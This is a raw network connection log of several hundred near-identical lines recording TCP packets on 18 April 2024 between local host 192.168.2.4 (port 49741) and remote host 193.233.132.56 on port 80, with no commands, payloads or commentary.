Apr 18, 2024 23:40:23.005341053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005361080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005382061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005403996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005428076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005443096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005464077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005486965 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005500078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005521059 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005539894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005558014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005575895 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005594015 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005614996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005640030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005656958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005690098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005712032 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005726099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005745888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005774975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005796909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005811930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005835056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005853891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005875111 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005902052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005914927 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005937099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005954981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005978107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005991936 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006038904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006061077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006077051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006099939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006135941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006153107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006290913 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006333113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006445885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006490946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006517887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006556034 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006645918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006680012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006711960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006752014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006779909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006819963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006861925 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006891012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.006977081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007016897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007045031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007080078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007110119 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007152081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007180929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007215023 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007241964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007281065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007309914 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007601976 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007636070 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007682085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007711887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007749081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007778883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007814884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007841110 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007882118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007915974 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007950068 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.007983923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.008065939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.008097887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.011840105 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.011948109 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.011966944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012003899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012053967 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012069941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012116909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012200117 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012247086 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012247086 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012262106 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012335062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012389898 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012420893 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012461901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012531996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012531996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012563944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012595892 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012625933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012661934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012691021 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012727022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012753010 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012790918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012819052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012861013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012876034 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012916088 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012948036 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.012984991 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013014078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013053894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013079882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013117075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013148069 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013186932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013215065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013247013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013282061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013315916 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013343096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013380051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013407946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013448954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013478994 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013514042 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013540983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013576031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013602018 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013637066 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013663054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013698101 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013725996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013761044 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013787985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013824940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013854027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013887882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013921022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013957024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.013983965 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014019012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014045000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014080048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014106035 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014147043 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014180899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014206886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014238119 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014269114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014301062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014333963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014364958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014406919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014431000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014466047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014493942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014528990 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014556885 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014591932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014617920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014652014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014679909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014712095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014744997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014780998 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014806032 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014844894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014879942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014915943 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014936924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.014975071 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015002012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015036106 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015060902 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015096903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015122890 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015183926 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015345097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015409946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015435934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015460968 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015486002 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015512943 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015541077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015563011 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015582085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015609026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015630007 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015650988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015674114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015698910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015723944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015758991 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015779018 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015805006 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015834093 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015861034 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015876055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015903950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015918016 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015942097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015964031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.015984058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016006947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016026974 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016051054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016073942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016096115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016119957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016140938 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016161919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016185045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016211033 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016230106 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016252995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016274929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016305923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016326904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016351938 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016383886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016400099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016427040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016449928 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016474009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016490936 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016520977 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016542912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016566992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016587973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016619921 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016633034 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016659975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016683102 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016706944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016736031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016757965 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016782999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016805887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016828060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016849041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016870975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016896963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016920090 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016942024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016964912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.016984940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017015934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017039061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017060041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017085075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017105103 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017129898 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017153978 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017175913 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017204046 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017229080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017250061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017273903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017308950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017328978 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017349005 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017373085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017395973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017415047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017438889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017462015 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017482996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017503023 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017524958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017553091 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017579079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017604113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017621040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017658949 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017679930 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017705917 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017726898 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017750978 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017772913 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017793894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017815113 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017838955 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017858028 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017893076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017920017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017940044 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017966986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.017992020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018008947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018033981 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018057108 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018079042 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018102884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018121958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018142939 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018167019 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018188000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018214941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018243074 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018259048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018297911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018336058 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018357992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018383026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018399000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018426895 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018448114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018470049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018495083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018512964 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018536091 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018560886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018588066 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018610001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018631935 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018656969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018677950 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018701077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018722057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018743038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018767118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018788099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018809080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018836975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018852949 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018879890 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018903017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018942118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018954992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.018995047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019017935 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019042015 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.019067049 CEST	49741	80	192.168.2.4	193.233.132.56
